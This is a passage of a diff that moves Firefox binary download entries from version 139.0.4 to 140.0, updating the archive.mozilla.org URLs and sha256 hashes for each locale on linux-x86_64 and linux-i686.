+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tr/firefox-140.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "29b1554086dd239490c9b9076a812137823cb9447b39ba7c5d7b8b3d5d74bf5a";
+      sha256 = "f8ec9d2ff12f1d4ce85ad93900751e2635c773c66e5e64919703e51d301ee481";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/trs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/trs/firefox-140.0.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "105a01e63c556791c78645af541b75c090ae8db3b479b396e0949b81849b3a07";
+      sha256 = "b9f19165e278665e92f2424b5ba99cf5d3cd8e87b6a6c0792e34997b54bb9fb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/uk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/uk/firefox-140.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "f889d5347935b505c8acd832eb7f55e909e5c2335396b4630d0518e6533d342c";
+      sha256 = "999438a1c8b0dd17525823a84232161da0cdf3ecaf0d9e13871228a2cc299b38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ur/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ur/firefox-140.0.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "c10cb624597df0621d33e9fae0a033ebc0256ede3ea84173dbc5aa83d6c04735";
+      sha256 = "354456f9a98f1d90cf32288847398ab8d17a2afd5a859f7f0e0778ea63e9a4af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/uz/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/uz/firefox-140.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "1045edafc95910b71233a47af11268e7f065d4bd9976c676f45cdbc146a7febe";
+      sha256 = "8061df4097d0b169fa93ff119d072a17137665df1452d67abe05ffb8dadd7754";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/vi/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/vi/firefox-140.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "b6d0ed7399eec4d69c7dd5c991818b9be52fd6ec670fc148ff8f75a29fe8a633";
+      sha256 = "b87756572a3bc9e0b60a0442f0062ae7d6fc0e73d1c72960e3846b16326c38e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/xh/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/xh/firefox-140.0.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "360437bc312d5e113919ced6d82acbe8f6d8c463da00d89af67df03fec971279";
+      sha256 = "6443e1097ca4efeffa87813087eaad4ae4ec49626626d8b8ede3875b6843eb24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/zh-CN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/zh-CN/firefox-140.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "2fde7c9ccf14c9091e2f2e96238a2f0c7dbc84a82920d0a3c3eed329cb4d9360";
+      sha256 = "e7c818ce275cf537e00fc30fe5b0064251c7fb217f069621151acad30d8c9bc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/zh-TW/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/zh-TW/firefox-140.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "318be7f9b81b5e7c4469dca4201213f9f064b8b47ceeebcc0f93040544b10181";
+      sha256 = "d58767c072db6a3bb4853df66881d37633ec38c82b3c52464c1991ef3d17f024";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ach/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ach/firefox-140.0.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "efe3d84e60799cdf38914250d0ac2703d5b44a536823413b4f97177df4ca9d44";
+      sha256 = "99f2274dcee881024a23edf94dbb622e32b4fde414522c05c9835eeb603dc13e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/af/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/af/firefox-140.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "f4df58379868d079a8e92cdaf1af3c68f34c59004fe6eba1c0d12d27a2e28016";
+      sha256 = "98a9d5af13c01493e23e18f442f3277655b6adde9c765e817ffa6ca712e9bfcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/an/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/an/firefox-140.0.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "c5511db64b806b079dea8c5eb685339bae2e5a7760994e0ce734c8078fc6444f";
+      sha256 = "5ab4e2e548449b02638ffb1ceb35b08b49a07ba5db0c0fe7cdff22370e407e15";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ar/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ar/firefox-140.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "3193ae86eb7ec60886719fc605d1ebc894f41c31315fcf5e0719497cdd97d492";
+      sha256 = "ddddcaac3ec88a2d60dd2b1e535cb742c6f0f4440d5f5d516cd344073dc6de2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ast/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ast/firefox-140.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "ccb94417b06a43a8768e7aae99b4ea791b693fdccd6a4f017aa60a4371ea693d";
+      sha256 = "422458a09de3ce95137173d3fa36fb5d94088a42bdd678615b39a1fa4dd8e862";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/az/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/az/firefox-140.0.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "77c0de8966b6f48df45f86e8c82e0b63a83c414715d65499fbbee60d94a096d4";
+      sha256 = "9c9b868eaac6a6e5d1962a9b7a3200f25bd2817ebb10472b32f66cfe53b17331";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/be/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/be/firefox-140.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "81e15f0edb1b737f6a8130c68dbc1b2dcb520c5655af1533c4ee4cbc43ac31e5";
+      sha256 = "f8d9083a6ef6320222997d1a92f474a988faf8bc2f241787ddab9ca73dd7c59e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bg/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bg/firefox-140.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "c77c220629c4018afb8db7abedbe3cba1614289b3642d9e953dc712a01125781";
+      sha256 = "da4d5f2be41570032a1fe0c360cefc55ab765995d80e6a0547de5878f813b305";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bn/firefox-140.0.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "9113a41a8a08a89451631c18346c954cade93eb51a6e79a5219338b86cb81873";
+      sha256 = "4624ea48c8a520248ad8b795b2830049b26a8757f017a0a55f27f2cb33f3bef1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/br/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/br/firefox-140.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "74487a03a2e7b6545cbdf5e948795588840e502985b03e3670fe6da1f16b5a84";
+      sha256 = "5da4ced73a0c4d08bf24ff4782ef657314f56417fb6916f4c6afa7ca231d49cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bs/firefox-140.0.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "88ef03c50f048d843c123e9fc54a9eb8524ad7ff2473ca5456f4500bb62bf91e";
+      sha256 = "5f4c472d9e74182b1b8bac91adbc4ac65406cad1827eacb381b6af6d55871410";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ca-valencia/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ca-valencia/firefox-140.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "d08a89ef4fe795946393fc9d5b29c1b38e1b600cda286fae769d9ed5c67829d6";
+      sha256 = "6ef7686f27a54877111e0c63f70a7aa3f507daed700b2532e67197fc65ab46d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ca/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ca/firefox-140.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "07501520cf38f7e2478277fafb18f9f388e347b9e66af8d756b10ab259831ff3";
+      sha256 = "256ab028787596028fbf17bacbc5e68690856ba766786613391ec3dee4a8a726";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cak/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cak/firefox-140.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "9eae6daf22a0925eab388d54fb01402a71dcd18879e760a7594ef46faf27b592";
+      sha256 = "6cea377f66f0498afdc2dd2ead27b6aa4e5d464b5d3258e1e8ef6f7194547b23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cs/firefox-140.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "3d509a4576a2d2b08ab707c7a56ee46178e7fba07de2ac8bd8b97e81c640833c";
+      sha256 = "57196499777860c0f66343041778ba8bf3cea7c6c6dff4e13c24c9c56137efce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cy/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cy/firefox-140.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "459045eb67dc09d299e76f1ef29f883ff3d73020b184e457e4bf4998809d9e0b";
+      sha256 = "7bdc0c597c3a2f67f76965f1e8c33cf055bfdca7e21dbdf4c9346546f7058abb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/da/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/da/firefox-140.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "8d23fda9058523461e9dcffd32a1fd10810dfef8cf86efd6748a241ee44d195e";
+      sha256 = "acf056df3d32ce46d3aa79891c4f8dd2c906c8dcc9b663f78ec287986c2a6b6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/de/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/de/firefox-140.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "91269c0e3190d315404ba75056b9c766091a8cfe69e257099668703dd88282e2";
+      sha256 = "10d59420bb3374a7b2c1366c1793aa6c5d2cf1a0beb4eb42211b773be5b49683";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/dsb/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/dsb/firefox-140.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "b28fa2d3da1e2641909bd08b1ff685863df6a6521a82b832831854d7a1d2526d";
+      sha256 = "6e62619441b8a98c2e459a2e4d2aa6c241e7a32f7d56385cf77a84ae874b7dbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/el/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/el/firefox-140.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "4d4c4a62417b5475cfa7f9b45c30e5745b5cb0b87b37e2699f092d3bc606d389";
+      sha256 = "32cd5609c3d8fbbdaa4978968e4029963e567666fb3fa39fd51f442ae122d39b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-CA/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-CA/firefox-140.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "32cedd68211d70e232980b9659b17f584f3e03fab735563f3fadf9b2f7678d14";
+      sha256 = "fb57076c723926004b4cc9f5471c4d5b678d506db45d456c77ec84590beebb2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-GB/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-GB/firefox-140.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "6662323e1b378b59043eb06e6b64b9e0828a50c8ee2e36c3059102e0d210b837";
+      sha256 = "662c9947885c66b6c17bff4a8032b23646c75ef787b26d8c2ae702312d221b80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-US/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-US/firefox-140.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "202a6ee018ff34923a6f59363b45408fbbedaf73d96a751285e801ca73bce4f8";
+      sha256 = "47858cf7b8c84e7330fde38b5017a0a14c5cc07a75d5e3f90048b676f859ef19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/eo/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/eo/firefox-140.0.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "c9fe021fd4df933305fa18e0c142549c4d1acc8fc870fd361df721648e602cc5";
+      sha256 = "6e8e15e9762b77e8fa1eba301116718d30490917bec54c4ea554ed609992d43b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-AR/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-AR/firefox-140.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "e930de6127ed5991a03873a3aa696f004db19ca3e2364d5ff1a585812c2f110e";
+      sha256 = "8fdbb210a7070d60796eed82b2062313a56c3fbece9566b22ed67c3bf51549fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-CL/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-CL/firefox-140.0.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "6323556e58ab72674e9a5520d6657e8ce3b52d50c962c4e6c60bd0e8105804c5";
+      sha256 = "126ce4de025ddeef82b80a37dff8b996985075ddd2d00bc8cafd41057118fd01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-ES/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-ES/firefox-140.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "71b02535bf7d7e8cd0a3da9317e33314ed54e8f8109f495887cc9a032219a071";
+      sha256 = "36852a0883d7a98312421cdffa6691b6ec9bef00c9e8e18ba08a4200a2343780";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-MX/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-MX/firefox-140.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "065dedf422a3b5d678d6359070a08934b809996349ba09452158e79f899b92a4";
+      sha256 = "671dbf88dbf626e29e25d8b8783fe48d439aacca73ffc343e22bf7aa8942ac09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/et/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/et/firefox-140.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "19dcef89982b967497a2b309ffa9f7f6f64e8490560820151919242f273f9ae5";
+      sha256 = "110003386981b49407101fe8cd97db136fcd26a715cdbccd129bb9777cc932a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/eu/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/eu/firefox-140.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "11c074185d5ed9ed58a031fad9bfe58a7132470d9d5e4069c249f66022d7a2f7";
+      sha256 = "ccb34213d7668b7606b190c8748164a6cb881464a5ad8b29e3a99b99cf40dddb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fa/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fa/firefox-140.0.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "227d95350e398a4f7d1f89dac0ed9245a56db622bc835a63c468afb0bd9d3a06";
+      sha256 = "c36698575d278ef19186abf963abb8aac7e4b7d532c5200c67e2f4ecea3afb01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ff/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ff/firefox-140.0.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "893642972019297eb6719c57915d6c898a12619a6fd86c8ad15f375335f13568";
+      sha256 = "5217a8c71d95b4efc49786c56338ba4360edb81b972e7f8e55d2ce1d77a53397";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fi/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fi/firefox-140.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "8744a6c8e71dba3e7eb93f3f528c61272e8e7bc7ba78934b3dfc58590dccadf7";
+      sha256 = "615f222efa72c85bb6288e0ab58ca87d80042ac9ed122a9fcb284ff9fb062f5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fr/firefox-140.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "acc8290a763d963321119241e834282d8e512e5ef782185f689723e83a69ad86";
+      sha256 = "74cec4b8e72c8cde2893ef6529ba3bbeb7e39f688a0ad16f56ea6a378a6c9972";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fur/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fur/firefox-140.0.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "92d2b697e4bb3bd9a3925b51ee52ba617a8b5bd326df56e6272f24cdeec4b386";
+      sha256 = "f5151c0ed131e3df78ef7f2ef635cc34538060c8dd91035270581ae33a8e0d4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fy-NL/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fy-NL/firefox-140.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "f141dc5175a168286c26ce9a6294071dd6b30ae282ff283c1940e066a25fba83";
+      sha256 = "459596a691af7ab6404f0bbc486edc5ab0800ee144e493ef9884200cf4523ea6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ga-IE/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ga-IE/firefox-140.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "316f4910bda0c1b0d93867795bcd83961af9974840a667d9934d3e51e1d9aa41";
+      sha256 = "f5fb84c5504982b199262d9a9aa39c4d827e9a772dcc819dab70de96de3a2fd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gd/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gd/firefox-140.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "5f6195295380b09d7133336f33184218b0d1e2cda5e668eae21cf80cf4342028";
+      sha256 = "4659a979ae099d2dbbb8a4587e7e61b948bf755540e7d866f9e7f440bb035629";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gl/firefox-140.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "f7e1d0d8f7e1030e1b8cc01efeaeb3dae2db2958417f40bd8af330f4f3db4d6e";
+      sha256 = "ce6a2f7c4f0d5b4582ecd25cab938466bbc423740ebe43e15d0bba9c09d0c441";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gn/firefox-140.0.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "e1909c80d052fb087603d436f1a85e60646867d3b47011151783af8fb455a522";
+      sha256 = "0a3012c44a4d3e03ef3143c3f0fc58ffa06978f8dde2770f50903ca274d4988d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gu-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gu-IN/firefox-140.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "b23cedf29625670b7abb6d85175fa75e99435abd9c0c2e42dc6ed87cc4e5eedc";
+      sha256 = "1a93ef6a47879c1c9ed3ad8d4914034093b8578724eca0d71f021ce335dd32ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/he/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/he/firefox-140.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "320905f0b53c4598f26f40f384861cbaae5a383f893c199f2810980803d0371b";
+      sha256 = "c4d69b5bb771dab6882f5c795f7a23da2af487cfac9849c1db37f06f16e36125";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hi-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hi-IN/firefox-140.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "0bb67c56ed826d80eae37936759c4e61e9542723ec85650c7d1fb49bd30bab31";
+      sha256 = "fec1b96f0bbd5ae95ad054cff0d7deff78aa6991ceb99e4d114d7d113cb0ba71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hr/firefox-140.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "90d798dfdce48ce1890dbd20d162f87125abdf4eb3be462221791695004f5418";
+      sha256 = "486aada151ad36866be99b374fac437edcf34b5613a358ed26d79fec7581fcff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hsb/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hsb/firefox-140.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "e6ae699dfeef12c80850199023e04437cb7fbdb080c8e89c1ca5bb4ff94f76c2";
+      sha256 = "a52eb8041da3d24be7fadb27ef4aa985d9036ebdefea2684064eb469fca9387e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hu/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hu/firefox-140.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "069f4b63808accee6110bed0ae704c5414b03080a5c1bd08ff18352e3b839f41";
+      sha256 = "746f38a26a957507b900fb30588b4fb4596b8e661bffacf632fe09e07eec9dce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hy-AM/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hy-AM/firefox-140.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "fa521147a6df1296b324cbaac2a0ae4ff07972f54027bdf6a281dd0472db67a8";
+      sha256 = "ce3f877b42144b568e5881d38a6541b72ef77d907dd36593f75d6c7c3cc45b4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ia/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ia/firefox-140.0.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "7e4b9937e16fb2470df8988bbad9dd40794260e7de04f859438b7e47e8a9a210";
+      sha256 = "3f71d1d874c6b0bb7773b2e64cbcaffd7e57186b0f43015a69defd8d338ff369";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/id/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/id/firefox-140.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "22f4ec4a846e904a5ed1681be4e3f840dabdc6ae627da28969bd8b9f97d3fe7c";
+      sha256 = "633bd86b3076e3497b8c97d30376ce46c709b965c6d11e28314b9f9663e2f349";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/is/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/is/firefox-140.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "d7501f4c8a09320974f920b4d7dbd52dc99083f76ee8a20f1e2429837ba11b80";
+      sha256 = "8861f2921a1dd22003fae3c26010a35758cb5822930924b323f78ed958a67cfe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/it/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/it/firefox-140.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "2652df2e30ec14f334cf4003018329467c9976eb13aaf325fa2bdd36143e7d87";
+      sha256 = "2ec60996b6352a883a85e39eecc8c9c32f5ab6013924084453b6a73f9efba2b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ja/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ja/firefox-140.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "78a22a99f12d047ca962132beee798766f4e90c20f285b8b8ee80d4ea993eea9";
+      sha256 = "7a2a2870e0d3b3106be9863883c1553df15e1d1c2f395335b6c17287419243a3";
     }
     {
